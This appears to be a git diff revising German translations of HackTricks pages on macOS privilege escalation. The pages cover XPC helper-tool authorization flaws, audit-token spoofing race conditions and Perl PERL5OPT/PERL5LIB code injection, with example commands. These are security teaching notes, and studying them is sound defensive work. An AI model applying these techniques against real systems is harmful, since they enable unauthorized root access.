Diese Daten können [**mit diesem Hopper-Skript**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) extrahiert werden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) **bei oder der** [**Telegram-Gruppe**](https://t.me/peass) **oder folgen Sie uns auf Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei** oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories einreichen.**

View file

@ -18,7 +18,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
Apple schlägt auch einen anderen Weg vor, um zu authentifizieren, ob der verbindende Prozess **Berechtigungen zum Aufrufen der freigegebenen XPC-Methode hat**.
Wenn eine Anwendung **Aktionen als privilegierter Benutzer ausführen muss**, installiert sie normalerweise anstelle des Ausführens der App als privilegierter Benutzer als Root ein HelperTool als XPC-Dienst, der von der App aufgerufen werden kann, um diese Aktionen auszuführen. Die App, die den Dienst aufruft, sollte jedoch über ausreichende Autorisierung verfügen.
Wenn eine Anwendung **Aktionen als privilegierter Benutzer ausführen muss**, anstatt die App als privilegierten Benutzer auszuführen, installiert sie normalerweise als Root ein HelperTool als XPC-Dienst, der von der App aufgerufen werden kann, um diese Aktionen auszuführen. Die App, die den Dienst aufruft, sollte jedoch über ausreichende Autorisierung verfügen.
### ShouldAcceptNewConnection immer YES
@ -39,7 +39,7 @@ newConnection.exportedObject = self;
return YES;
}
```
Für weitere Informationen darüber, wie Sie diese Überprüfung ordnungsgemäß konfigurieren können:
Für weitere Informationen zur ordnungsgemäßen Konfiguration dieses Checks:
{% content-ref url="macos-xpc-connecting-process-check/" %}
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
@ -50,7 +50,7 @@ Für weitere Informationen darüber, wie Sie diese Überprüfung ordnungsgemäß
Es findet jedoch eine **Autorisierung statt, wenn eine Methode aus dem HelperTool aufgerufen wird**.
Die Funktion **`applicationDidFinishLaunching`** aus `App/AppDelegate.m` erstellt nach dem Start der App eine leere Autorisierungsreferenz. Dies sollte immer funktionieren.\
Anschließend wird versucht, **einige Rechte hinzuzufügen** zu dieser Autorisierungsreferenz durch Aufruf von `setupAuthorizationRights`:
Anschließend wird versucht, **einige Rechte hinzuzufügen**, indem `setupAuthorizationRights` aufgerufen wird:
```objectivec
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
@ -184,7 +184,7 @@ block(authRightName, authRightDefault, authRightDesc);
}];
}
```
Dies bedeutet, dass am Ende dieses Prozesses die in `commandInfo` deklarierten Berechtigungen in `/var/db/auth.db` gespeichert werden. Beachten Sie, dass Sie dort für **jede Methode**, die **Authentifizierung erfordert**, den **Berechtigungsnamen** und den **`kCommandKeyAuthRightDefault` finden können. Letzterer **zeigt an, wer dieses Recht erhalten kann**.
Dies bedeutet, dass am Ende dieses Prozesses die in `commandInfo` deklarierten Berechtigungen in `/var/db/auth.db` gespeichert werden. Beachten Sie, dass dort für **jede Methode**, die **Authentifizierung erfordert**, der **Berechtigungsname** und der **`kCommandKeyAuthRightDefault`** zu finden sind. Letzterer **zeigt an, wer dieses Recht erhalten kann**.
Es gibt verschiedene Bereiche, um anzuzeigen, wer ein Recht erhalten kann. Einige von ihnen sind in [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) definiert (Sie können [alle von ihnen hier finden](https://www.dssw.co.uk/reference/authorization-rights/)), aber zusammengefasst:
@ -192,7 +192,7 @@ Es gibt verschiedene Bereiche, um anzuzeigen, wer ein Recht erhalten kann. Einig
### Rechteüberprüfung
In `HelperTool/HelperTool.m` überprüft die Funktion **`readLicenseKeyAuthorization`**, ob der Aufrufer berechtigt ist, **eine solche Methode auszuführen**, indem die Funktion **`checkAuthorization`** aufgerufen wird. Diese Funktion überprüft, ob die vom aufrufenden Prozess gesendeten **authData** das **richtige Format** hat, und überprüft dann, **was benötigt wird, um das Recht zu erhalten**, die spezifische Methode aufzurufen. Wenn alles gut läuft, wird der **zurückgegebene `Fehler` `nil` sein**:
In `HelperTool/HelperTool.m` überprüft die Funktion **`readLicenseKeyAuthorization`**, ob der Aufrufer berechtigt ist, **eine solche Methode auszuführen**, indem die Funktion **`checkAuthorization`** aufgerufen wird. Diese Funktion überprüft, ob die vom aufrufenden Prozess gesendeten **authData** das **richtige Format** hat und überprüft dann, **was benötigt wird, um das Recht zu erhalten**, die spezifische Methode aufzurufen. Wenn alles gut läuft, wird der **zurückgegebene `Fehler` `nil` sein**:
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@ -240,9 +240,9 @@ assert(junk == errAuthorizationSuccess);
return error;
}
```
Beachten Sie, dass zur Überprüfung der Anforderungen, um das Recht zu erhalten, diese Methode aufzurufen, die Funktion `authorizationRightForCommand` einfach das zuvor kommentierte Objekt `commandInfo` überprüfen wird. Anschließend wird sie `AuthorizationCopyRights` aufrufen, um zu überprüfen, ob sie das Recht hat, die Funktion aufzurufen (beachten Sie, dass die Flags die Interaktion mit dem Benutzer ermöglichen).
Beachten Sie, dass zur Überprüfung der Anforderungen, um das Recht zu erhalten, diese Methode aufzurufen, die Funktion `authorizationRightForCommand` lediglich das zuvor kommentierte Objekt `commandInfo` überprüfen wird. Anschließend wird sie `AuthorizationCopyRights` aufrufen, um zu überprüfen, ob sie das Recht hat, die Funktion aufzurufen (beachten Sie, dass die Flags die Interaktion mit dem Benutzer ermöglichen).
In diesem Fall ist für den Aufruf der Funktion `readLicenseKeyAuthorization` das `kCommandKeyAuthRightDefault` auf `@kAuthorizationRuleClassAllow` festgelegt. So kann es von jedermann aufgerufen werden.
In diesem Fall ist für den Aufruf der Funktion `readLicenseKeyAuthorization` das `kCommandKeyAuthRightDefault` auf `@kAuthorizationRuleClassAllow` festgelegt. Daher kann es **von jedem aufgerufen werden**.
### DB-Informationen
@ -252,7 +252,7 @@ sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
```
Dann können Sie lesen, wer das Recht mit zugreifen kann:
Dann können Sie lesen, wer Zugriff auf das Recht hat mit:
```bash
security authorizationdb read com.apple.safaridriver.allow
```
@ -262,13 +262,13 @@ Sie können **alle Berechtigungskonfigurationen** [**hier**](https://www.dssw.co
1. **'authenticate-user': 'false'**
* Dies ist der direkteste Schlüssel. Wenn er auf `false` gesetzt ist, wird angegeben, dass ein Benutzer keine Authentifizierung benötigt, um dieses Recht zu erlangen.
* Dies wird in **Kombination mit einem der beiden unten stehenden oder der Angabe einer Gruppe** verwendet, der der Benutzer angehören muss.
* Dies wird in **Kombination mit einem der 2 unten stehenden oder der Angabe einer Gruppe** verwendet, der der Benutzer angehören muss.
2. **'allow-root': 'true'**
* Wenn ein Benutzer als Root-Benutzer (der über erhöhte Berechtigungen verfügt) arbeitet und dieser Schlüssel auf `true` gesetzt ist, könnte der Root-Benutzer dieses Recht potenziell ohne weitere Authentifizierung erlangen. In der Regel erfordert das Erreichen des Root-Benutzerstatus jedoch bereits eine Authentifizierung, sodass dies für die meisten Benutzer kein Szenario ohne Authentifizierung ist.
* Wenn ein Benutzer als Root-Benutzer (der über erhöhte Berechtigungen verfügt) arbeitet und dieser Schlüssel auf `true` gesetzt ist, könnte der Root-Benutzer dieses Recht potenziell ohne weitere Authentifizierung erlangen. In der Regel erfordert jedoch das Erreichen des Status eines Root-Benutzers bereits eine Authentifizierung, sodass dies für die meisten Benutzer kein Szenario ohne Authentifizierung ist.
3. **'session-owner': 'true'**
* Wenn auf `true` gesetzt, würde der Besitzer der Sitzung (der aktuell angemeldete Benutzer) automatisch dieses Recht erhalten. Dies könnte zusätzliche Authentifizierung umgehen, wenn der Benutzer bereits angemeldet ist.
4. **'shared': 'true'**
* Dieser Schlüssel gewährt keine Rechte ohne Authentifizierung. Wenn er auf `true` gesetzt ist, bedeutet dies stattdessen, dass das Recht nach der Authentifizierung unter mehreren Prozessen geteilt werden kann, ohne dass jeder einzelne erneut authentifiziert werden muss. Die erstmalige Gewährung des Rechts erfordert jedoch weiterhin eine Authentifizierung, es sei denn, sie wird mit anderen Schlüsseln wie `'authenticate-user': 'false'` kombiniert.
* Dieser Schlüssel gewährt keine Rechte ohne Authentifizierung. Wenn er auf `true` gesetzt ist, bedeutet dies stattdessen, dass das Recht nach der Authentifizierung gemeinsam von mehreren Prozessen genutzt werden kann, ohne dass jeder einzelne erneut authentifiziert werden muss. Die erstmalige Gewährung des Rechts erfordert jedoch weiterhin eine Authentifizierung, es sei denn, sie wird mit anderen Schlüsseln wie `'authenticate-user': 'false'` kombiniert.
Sie können [**dieses Skript**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) verwenden, um die interessanten Rechte zu erhalten:
```bash
@ -299,11 +299,11 @@ Dann müssen Sie das Protokollschema finden, um eine Kommunikation mit dem XPC-D
Die Funktion **`shouldAcceptNewConnection`** gibt das exportierte Protokoll an:
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
In diesem Fall haben wir dasselbe wie bei EvenBetterAuthorizationSample, [**überprüfen Sie diese Zeile**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
Nachdem Sie den Namen des verwendeten Protokolls kennen, ist es möglich, **seine Headerdefinition zu dumpen** mit:
Nachdem Sie den Namen des verwendeten Protokolls kennen, ist es möglich, **seine Headerdefinition zu extrahieren** mit:
```bash
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@ -321,9 +321,9 @@ Zuletzt müssen wir nur den **Namen des freigelegten Mach-Dienstes** kennen, um
* Im **`[HelperTool init]`**, wo Sie den verwendeten Mach-Dienst sehen können:
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* In der launchd-Property-Liste:
* In der launchd-Datei:
```xml
cat /Library/LaunchDaemons/com.example.HelperTool.plist
@ -341,7 +341,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
In diesem Beispiel wird erstellt:
* Die Definition des Protokolls mit den Funktionen
* Eine leere Authentifizierung, die verwendet wird, um Zugriff anzufordern
* Eine leere Authentifizierung, um Zugriff anzufordern
* Eine Verbindung zum XPC-Dienst
* Ein Aufruf der Funktion, wenn die Verbindung erfolgreich war
```objectivec
@ -435,6 +435,6 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
@ -18,7 +18,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
## Grundlegende Informationen zu Mach-Nachrichten
Wenn Sie nicht wissen, was Mach-Nachrichten sind, beginnen Sie mit dem Überprüfen dieser Seite:
Wenn Sie nicht wissen, was Mach-Nachrichten sind, beginnen Sie mit der Überprüfung dieser Seite:
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
@ -37,26 +37,26 @@ Wenn Sie nicht wissen, wie eine XPC-Verbindung hergestellt wird, überprüfen Si
## Schwachstellenzusammenfassung
Was für Sie interessant zu wissen ist, dass die **Abstraktion von XPC eine Eins-zu-Eins-Verbindung ist**, aber sie basiert auf einer Technologie, die **mehrere Sender haben kann, also:**
Was für Sie interessant zu wissen ist, dass die **Abstraktion von XPC eine Eins-zu-Eins-Verbindung** ist, die jedoch auf einer Technologie basiert, die **mehrere Sender haben kann, also:**
* Mach-Ports sind ein einzelner Empfänger, **mehrere Sender**.
* Das Audit-Token einer XPC-Verbindung ist das Audit-Token, das **aus der zuletzt empfangenen Nachricht kopiert wurde**.
* Das Erlangen des **Audit-Tokens** einer XPC-Verbindung ist für viele **Sicherheitsüberprüfungen** entscheidend.
Obwohl die vorherige Situation vielversprechend klingt, gibt es Szenarien, in denen dies keine Probleme verursachen wird ([von hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
Obwohl die vorherige Situation vielversprechend klingt, gibt es Szenarien, in denen dies keine Probleme verursacht ([von hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
* Audit-Token werden häufig für eine Autorisierungsprüfung verwendet, um zu entscheiden, ob eine Verbindung akzeptiert werden soll. Da dies über eine Nachricht an den Dienstport erfolgt, ist **noch keine Verbindung hergestellt**. Weitere Nachrichten an diesem Port werden einfach als zusätzliche Verbindungsanfragen behandelt. Daher sind **Überprüfungen vor der Annahme einer Verbindung nicht gefährdet** (das bedeutet auch, dass das Audit-Token innerhalb von `-listener:shouldAcceptNewConnection:` sicher ist). Wir suchen daher nach XPC-Verbindungen, die spezifische Aktionen überprüfen.
* XPC-Ereignishandler werden synchron behandelt. Das bedeutet, dass der Ereignishandler für eine Nachricht abgeschlossen sein muss, bevor er für die nächste aufgerufen wird, auch auf gleichzeitigen Dispatch-Warteschlangen. Daher kann das Audit-Token innerhalb eines **XPC-Ereignishandlers nicht von anderen normalen (nicht-Antwort-)Nachrichten überschrieben werden**.
* XPC-Ereignisbehandler werden synchron behandelt. Das bedeutet, dass der Ereignisbehandler für eine Nachricht abgeschlossen sein muss, bevor er für die nächste aufgerufen wird, auch auf gleichzeitigen Dispatch-Warteschlangen. Daher kann das Audit-Token innerhalb eines **XPC-Ereignisbehandlers nicht von anderen normalen (nicht-Antwort-)Nachrichten überschrieben werden**.
Zwei verschiedene Methoden, wie dies ausgenutzt werden könnte:
1. Variante 1:
* Der **Exploit** verbindet sich mit Dienst **A** und Dienst **B**.
* Der **Exploit** **verbindet** sich mit Dienst **A** und Dienst **B**.
* Dienst **B** kann eine **privilegierte Funktionalität** in Dienst **A** aufrufen, die der Benutzer nicht kann.
* Dienst **A** ruft **`xpc_connection_get_audit_token`** auf, während es sich **nicht** im **Ereignishandler** für eine Verbindung in einem **`dispatch_async`** befindet.
* Daher könnte eine **andere** Nachricht das **Audit-Token überschreiben**, da sie außerhalb des Ereignishandlers asynchron an den Kernel übermittelt wird.
* Dienst **A** ruft **`xpc_connection_get_audit_token`** auf, während er sich **nicht** im **Ereignisbehandler** für eine Verbindung in einem **`dispatch_async`** befindet.
* Daher könnte eine **andere** Nachricht das **Audit-Token überschreiben**, da sie außerhalb des Ereignisbehandlers asynchron an den Kernel übermittelt wird.
* Der Exploit übergibt **Dienst B das SEND-Recht an Dienst A**.
* Daher wird svc **B tatsächlich die Nachrichten an Dienst A senden**.
* Daher wird svc **B tatsächlich die Nachrichten** an Dienst **A senden**.
* Der **Exploit** versucht, die **privilegierte Aktion aufzurufen**. In einem RC überprüft svc **A die Autorisierung dieser Aktion**, während **svc B das Audit-Token überschrieben hat** (was dem Exploit Zugriff auf das Aufrufen der privilegierten Aktion gibt).
2. Variante 2:
* Dienst **B** kann eine **privilegierte Funktionalität** in Dienst **A** aufrufen, die der Benutzer nicht kann.
@ -64,7 +64,7 @@ Zwei verschiedene Methoden, wie dies ausgenutzt werden könnte:
* Der Exploit sendet **Dienst B eine Nachricht**, die **diesen Antwort-Port** übergibt.
* Wenn Dienst **B antwortet**, **sendet er die Nachricht an Dienst A**, **während** der **Exploit eine andere Nachricht an Dienst A sendet**, um eine privilegierte Funktionalität zu erreichen und darauf zu warten, dass die Antwort von Dienst B das Audit-Token im perfekten Moment überschreibt (Race Condition).
## Variante 1: Aufruf von xpc\_connection\_get\_audit\_token außerhalb eines Ereignishandlers <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
## Variante 1: Aufruf von xpc\_connection\_get\_audit\_token außerhalb eines Ereignisbehandlers <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
Szenario:
@ -79,31 +79,31 @@ In diesem Fall könnte ein Angreifer eine **Race Condition** auslösen, indem er
Dies geschah mit **`A`** als `smd` und **`B`** als `diagnosticd`. Die Funktion [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) von smb kann verwendet werden, um ein neues privilegiertes Hilfsprogramm (als **root**) zu installieren. Wenn ein **Prozess als root ausgeführt wird** und **smd** kontaktiert, werden keine weiteren Überprüfungen durchgeführt.
Daher ist der Dienst **B** **`diagnosticd`**, weil er als **root** ausgeführt wird und dazu verwendet werden kann, einen Prozess zu **überwachen**, sodass, sobald die Überwachung begonnen hat, mehrere Nachrichten pro Sekunde gesendet werden.
Daher ist der Dienst **B** **`diagnosticd`**, weil er als **root** ausgeführt wird und dazu verwendet werden kann, einen Prozess zu **überwachen**, sodass, sobald die Überwachung begonnen hat, **mehrere Nachrichten pro Sekunde gesendet werden**.
Um den Angriff durchzuführen:
1. Starten Sie eine **Verbindung** mit dem Dienst namens `smd` unter Verwendung des Standard-XPC-Protokolls.
2. Bilden Sie eine sekundäre **Verbindung** zu `diagnosticd`. Anstatt wie üblich zwei neue Mach-Ports zu erstellen und zu senden, wird das Client-Port-Senderecht durch eine Kopie des **Senderechts** ersetzt, das mit der Verbindung von `smd` verbunden ist.
3. Als Ergebnis können XPC-Nachrichten an `diagnosticd` gesendet werden, aber Antworten von `diagnosticd` werden an `smd` umgeleitet. Für `smd` scheint es, als ob die Nachrichten sowohl vom Benutzer als auch von `diagnosticd` von derselben Verbindung stammen.
2. Bilden Sie eine sekundäre **Verbindung** zu `diagnosticd`. Anstatt wie üblich zwei neue Mach-Ports zu erstellen und zu senden, wird das Client-Port-Senderecht durch eine Kopie des **Senderechts** ersetzt, das mit der Verbindung zu `smd` verbunden ist.
3. Als Ergebnis können XPC-Nachrichten an `diagnosticd` gesendet werden, aber Antworten von `diagnosticd` werden an `smd` umgeleitet. Für `smd` sieht es so aus, als ob die Nachrichten sowohl vom Benutzer als auch von `diagnosticd` von derselben Verbindung stammen.
![Bild, das den Exploit-Prozess darstellt](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. Der nächste Schritt besteht darin, `diagnosticd` anzuweisen, die Überwachung eines ausgewählten Prozesses zu initiieren (möglicherweise des eigenen Benutzers). Gleichzeitig werden eine Flut von Routine-1004-Nachrichten an `smd` gesendet. Das Ziel hierbei ist die Installation eines Tools mit erhöhten Berechtigungen.
5. Diese Aktion löst eine Wettlaufbedingung innerhalb der `handle_bless`-Funktion aus. Das Timing ist entscheidend: Der Aufruf der Funktion `xpc_connection_get_pid` muss die PID des Benutzerprozesses zurückgeben (da das privilegierte Tool im App-Bundle des Benutzers liegt). Jedoch muss die Funktion `xpc_connection_get_audit_token`, speziell innerhalb der Unterfunktion `connection_is_authorized`, auf das Audit-Token von `diagnosticd` verweisen.
4. Der nächste Schritt besteht darin, `diagnosticd` anzuweisen, die Überwachung eines ausgewählten Prozesses zu initiieren (möglicherweise des eigenen des Benutzers). Gleichzeitig werden eine Flut von Routine-1004-Nachrichten an `smd` gesendet. Das Ziel hierbei ist die Installation eines Tools mit erhöhten Berechtigungen.
5. Diese Aktion löst eine Wettlaufbedingung innerhalb der `handle_bless`-Funktion aus. Das Timing ist entscheidend: Der Aufruf der Funktion `xpc_connection_get_pid` muss die PID des Prozesses des Benutzers zurückgeben (da das privilegierte Tool im App-Bundle des Benutzers liegt). Jedoch muss die Funktion `xpc_connection_get_audit_token`, speziell innerhalb der Unterfunktion `connection_is_authorized`, auf das Audit-Token von `diagnosticd` verweisen.
## Variante 2: Weiterleitung von Antworten
In einer XPC (Cross-Process Communication)-Umgebung erfolgt die Verarbeitung von Antwortnachrichten auf einzigartige Weise, obwohl Ereignisbehandler nicht gleichzeitig ausgeführt werden. Es existieren speziell zwei unterschiedliche Methoden zum Senden von Nachrichten, die eine Antwort erwarten:
In einer XPC (Cross-Process Communication)-Umgebung, obwohl Ereignisbehandler nicht gleichzeitig ausgeführt werden, hat die Verarbeitung von Antwortnachrichten ein einzigartiges Verhalten. Es existieren speziell zwei unterschiedliche Methoden zum Senden von Nachrichten, die eine Antwort erwarten:
1. **`xpc_connection_send_message_with_reply`**: Hier wird die XPC-Nachricht auf einer bestimmten Warteschlange empfangen und verarbeitet.
2. **`xpc_connection_send_message_with_reply_sync`**: Im Gegensatz dazu wird die XPC-Nachricht in dieser Methode auf der aktuellen Dispatch-Warteschlange empfangen und verarbeitet.
Diese Unterscheidung ist entscheidend, da sie die Möglichkeit bietet, dass **Antwortpakete gleichzeitig mit der Ausführung eines XPC-Ereignisbehandlers analysiert werden**. Insbesondere implementiert `_xpc_connection_set_creds` zwar eine Sperrung zum Schutz vor der teilweisen Überschreibung des Audit-Tokens, erstreckt diesen Schutz jedoch nicht auf das gesamte Verbindungsobjekt. Folglich entsteht eine Schwachstelle, bei der das Audit-Token während des Intervalls zwischen dem Parsen eines Pakets und der Ausführung seines Ereignisbehandlers ersetzt werden kann.
Diese Unterscheidung ist entscheidend, da sie die Möglichkeit bietet, dass **Antwortpakete gleichzeitig mit der Ausführung eines XPC-Ereignisbehandlers analysiert werden**. Insbesondere implementiert `_xpc_connection_set_creds` zwar eine Sperrung, um gegen die teilweise Überschreibung des Audit-Tokens abzusichern, erstreckt diese Schutzmaßnahme jedoch nicht auf das gesamte Verbindungsobjekt. Folglich entsteht eine Schwachstelle, bei der das Audit-Token während des Intervalls zwischen dem Parsen eines Pakets und der Ausführung seines Ereignishandlers ersetzt werden kann.
Um diese Schwachstelle auszunutzen, ist folgende Konfiguration erforderlich:
* Zwei Mach-Services, bezeichnet als **`A`** und **`B`**, die beide eine Verbindung herstellen können.
* Service **`A`** sollte eine Autorisierungsprüfung für eine spezifische Aktion enthalten, die nur von **`B`** ausgeführt werden kann (die Anwendung des Benutzers nicht).
* Service **`A`** sollte eine Autorisierungsprüfung für eine spezifische Aktion enthalten, die nur von **`B`** durchgeführt werden kann (nicht von der Anwendung des Benutzers).
* Service **`A`** sollte eine Nachricht senden, die eine Antwort erwartet.
* Der Benutzer kann eine Nachricht an **`B`** senden, auf die es antworten wird.
@ -117,7 +117,7 @@ Nachfolgend ist eine visuelle Darstellung des beschriebenen Angriffsszenarios da
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## Probleme bei der Entdeckung
@ -128,7 +128,7 @@ Nachfolgend ist eine visuelle Darstellung des beschriebenen Angriffsszenarios da
## Die Lösung <a href="#the-fix" id="the-fix"></a>
* **Gemeldete Probleme**: Ein Bericht wurde an Apple eingereicht, der die allgemeinen und spezifischen Probleme in `smd` beschreibt.
* **Gemeldete Probleme**: Ein Bericht wurde bei Apple eingereicht, der die allgemeinen und spezifischen Probleme in `smd` beschreibt.
* **Antwort von Apple**: Apple behob das Problem in `smd`, indem `xpc_connection_get_audit_token` durch `xpc_dictionary_get_audit_token` ersetzt wurde.
* **Art der Lösung**: Die Funktion `xpc_dictionary_get_audit_token` gilt als sicher, da sie das Audit-Token direkt aus der Mach-Nachricht abruft, die mit der empfangenen XPC-Nachricht verknüpft ist. Allerdings ist sie nicht Teil der öffentlichen API, ähnlich wie `xpc_connection_get_audit_token`.
* **Fehlen einer umfassenderen Lösung**: Es bleibt unklar, warum Apple keine umfassendere Lösung implementiert hat, wie beispielsweise das Verwerfen von Nachrichten, die nicht mit dem gespeicherten Audit-Token der Verbindung übereinstimmen. Die Möglichkeit legitimer Änderungen des Audit-Tokens in bestimmten Szenarien (z.B. `setuid`-Verwendung) könnte ein Faktor sein.

View file

@ -6,7 +6,7 @@
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
## Über `PERL5OPT` & `PERL5LIB` Umgebungsvariable
Mit der Umgebungsvariable PERL5OPT ist es möglich, Perl dazu zu bringen, beliebige Befehle auszuführen.\
Mit der Umgebungsvariable PERL5OPT ist es möglich, dass Perl beliebige Befehle ausführt.\
Erstellen Sie beispielsweise dieses Skript:
{% code title="test.pl" %}
@ -48,11 +48,11 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod
```
## Über Abhängigkeiten
Es ist möglich, die Abhängigkeiten des Perl-Laufs in der Reihenfolge des Ordners aufzulisten:
